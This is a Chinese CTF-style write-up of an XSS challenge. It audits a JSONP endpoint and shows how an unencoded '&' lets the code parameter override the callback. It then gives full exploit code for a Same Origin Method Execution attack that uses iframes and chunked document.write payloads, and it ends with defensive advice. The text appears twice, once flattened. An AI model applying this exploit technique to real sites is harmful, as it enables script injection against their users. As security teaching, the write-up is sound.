一道xss题学习SOME攻击
字数 1565 2025-08-19 12:41:11

SOME攻击实现XSS漏洞利用教学文档

1. 漏洞背景

这道XSS题目要求执行alert(document.domain),但存在一些限制条件。通过分析,我们可以使用SOME(Same Origin Method Execution)攻击来实现目标。

2. 代码审计分析

2.1 index.html关键代码

var callback = function(msg) {
    result.innerHTML = msg;
}

document.addEventListener('DOMContentLoaded', function(event) {
    if(getQuery('code')) {
        var code = getQuery('code');
        c.value = code;
        checkCode(code);
    }
});

form.addEventListener('submit', function(event) {
    checkCode(c.value);
    event.preventDefault();
});

function checkCode(code) {
    var s = document.createElement('script');
    s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
    document.body.appendChild(s);
}

function getQuery(name) {
    return new URL(location.href).searchParams.get(name);
}

关键点:

  • 两种触发方式:URL中的code参数或表单提交
  • checkCode函数使用encodeURI对code参数进行编码
  • 创建script标签加载JSONP端点

2.2 check_code.php关键代码

<?php
$callback = "callback";
if(isset($_GET['callback'])) {
    $callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}

$key = "";
if(isset($_GET['code'])) {
    $key = $_GET['code'];
}

if(mb_strlen($key, "UTF-8") <= 10) {
    if($key == "XSS_ME") {
        $result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
    } else {
        $result = "Invalid code: '$key'";
    }
} else {
    $result = "Invalid code: too long";
}

$json = json_encode($result, JSON_HEX_TAG);
header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)";

限制条件:

  1. callback参数过滤:只允许字母数字和点号[^a-z0-9.]+
  2. code参数长度限制:不超过10个字符
  3. 返回结果中固定包含"Invalid code: "字符串

3. 漏洞利用原理

3.1 基本利用思路

  1. encodeURI不会编码&字符,可以在code参数中注入&callback=alert来覆盖原有callback值
  2. 服务器会使用参数的最后一次出现值,因此可以覆盖callback参数

3.2 简单PoC

表单提交:

1&callback=alert

URL参数:

?code=1%26callback=alert

3.3 复杂利用挑战

由于需要执行alert(document.domain)且code参数长度限制为10个字符,直接执行不可行,需要使用SOME攻击。

4. SOME攻击实现

4.1 SOME攻击概念

Same Origin Method Execution (SOME)是一种利用同源策略的漏洞,允许攻击者在目标网站上执行任意JavaScript方法。

4.2 攻击步骤

  1. 使用iframe确保同源
  2. 通过多个iframe和相同来源的跨iframe操作
  3. 将payload包含到iframe框架的DOM中
  4. 使用document.write逐步构建payload
  5. 使用注释符处理多余的"Invalid code: "字符串

4.3 完整利用代码

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>

<script>
function loadIframe(payload){
    return new Promise(resolve => {
        m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
        m.onload = function(){
            return resolve(this);
        }
    });
}

async function go(){
    await loadIframe("<script>/*");
    await loadIframe("*/eval(/*");
    await loadIframe("*/top[2]/*");
    await loadIframe("*/.name)//");
    await loadIframe("<\/script>");
}
</script>

4.4 代码解析

  1. 创建三个iframe:

    • 第一个iframe(name="x")用于执行主逻辑
    • 第二个iframe(id="m")用于发送payload
    • 第三个iframe(name="alert(document.domain)")存储要执行的代码
  2. loadIframe函数:

    • 通过修改iframe的src属性发送payload
    • 使用%26callback=top.x.document.write覆盖callback参数
    • 返回Promise确保顺序执行
  3. go函数:

    • 分步发送payload,每步不超过10字符限制
    • 使用注释符/* */处理多余字符串
    • 最终组合成<script>eval(top[2].name)</script>执行第三个iframe的name属性

5. 关键技巧总结

  1. 参数覆盖:利用encodeURI不编码&的特性覆盖callback参数
  2. 分块传输:将长payload分成多个不超过10字符的片段
  3. 注释技巧:使用/* */注释掉多余的"Invalid code: "字符串
  4. 跨iframe通信:利用同源iframe间的top对象访问
  5. 异步控制:使用Promise确保payload按顺序执行
  6. DOM操作:通过document.write动态写入脚本

6. 防御建议

  1. 对callback参数进行更严格的过滤
  2. 限制JSONP端点的使用,或使用CORS替代
  3. 对所有用户输入进行严格编码
  4. 实现CSRF令牌保护表单
  5. 使用Content Security Policy (CSP)限制脚本执行

通过这种SOME攻击方法,我们成功绕过了长度限制和字符过滤,最终实现了alert(document.domain)的执行。

SOME攻击实现XSS漏洞利用教学文档 1. 漏洞背景 这道XSS题目要求执行 alert(document.domain) ,但存在一些限制条件。通过分析,我们可以使用SOME(Same Origin Method Execution)攻击来实现目标。 2. 代码审计分析 2.1 index.html关键代码 关键点: 两种触发方式:URL中的code参数或表单提交 checkCode 函数使用 encodeURI 对code参数进行编码 创建script标签加载JSONP端点 2.2 check_ code.php关键代码 限制条件: callback参数过滤:只允许字母数字和点号 [^a-z0-9.]+ code参数长度限制:不超过10个字符 返回结果中固定包含"Invalid code: "字符串 3. 漏洞利用原理 3.1 基本利用思路 encodeURI 不会编码 & 字符,可以在code参数中注入 &callback=alert 来覆盖原有callback值 服务器会使用参数的最后一次出现值,因此可以覆盖callback参数 3.2 简单PoC 表单提交: URL参数: 3.3 复杂利用挑战 由于需要执行 alert(document.domain) 且code参数长度限制为10个字符,直接执行不可行,需要使用SOME攻击。 4. SOME攻击实现 4.1 SOME攻击概念 Same Origin Method Execution (SOME)是一种利用同源策略的漏洞,允许攻击者在目标网站上执行任意JavaScript方法。 4.2 攻击步骤 使用iframe确保同源 通过多个iframe和相同来源的跨iframe操作 将payload包含到iframe框架的DOM中 使用 document.write 逐步构建payload 使用注释符处理多余的"Invalid code: "字符串 4.3 完整利用代码 4.4 代码解析 创建三个iframe: 第一个iframe(name="x")用于执行主逻辑 第二个iframe(id="m")用于发送payload 第三个iframe(name="alert(document.domain)")存储要执行的代码 loadIframe 函数: 通过修改iframe的src属性发送payload 使用 %26callback=top.x.document.write 覆盖callback参数 返回Promise确保顺序执行 go 函数: 分步发送payload,每步不超过10字符限制 使用注释符 /* */ 处理多余字符串 最终组合成 <script>eval(top[2].name)</script> 执行第三个iframe的name属性 5. 关键技巧总结 参数覆盖 :利用 encodeURI 不编码 & 的特性覆盖callback参数 分块传输 :将长payload分成多个不超过10字符的片段 注释技巧 :使用 /* */ 注释掉多余的"Invalid code: "字符串 跨iframe通信 :利用同源iframe间的 top 对象访问 异步控制 :使用Promise确保payload按顺序执行 DOM操作 :通过 document.write 动态写入脚本 6. 防御建议 对callback参数进行更严格的过滤 限制JSONP端点的使用,或使用CORS替代 对所有用户输入进行严格编码 实现CSRF令牌保护表单 使用Content Security Policy (CSP)限制脚本执行 通过这种SOME攻击方法,我们成功绕过了长度限制和字符过滤,最终实现了 alert(document.domain) 的执行。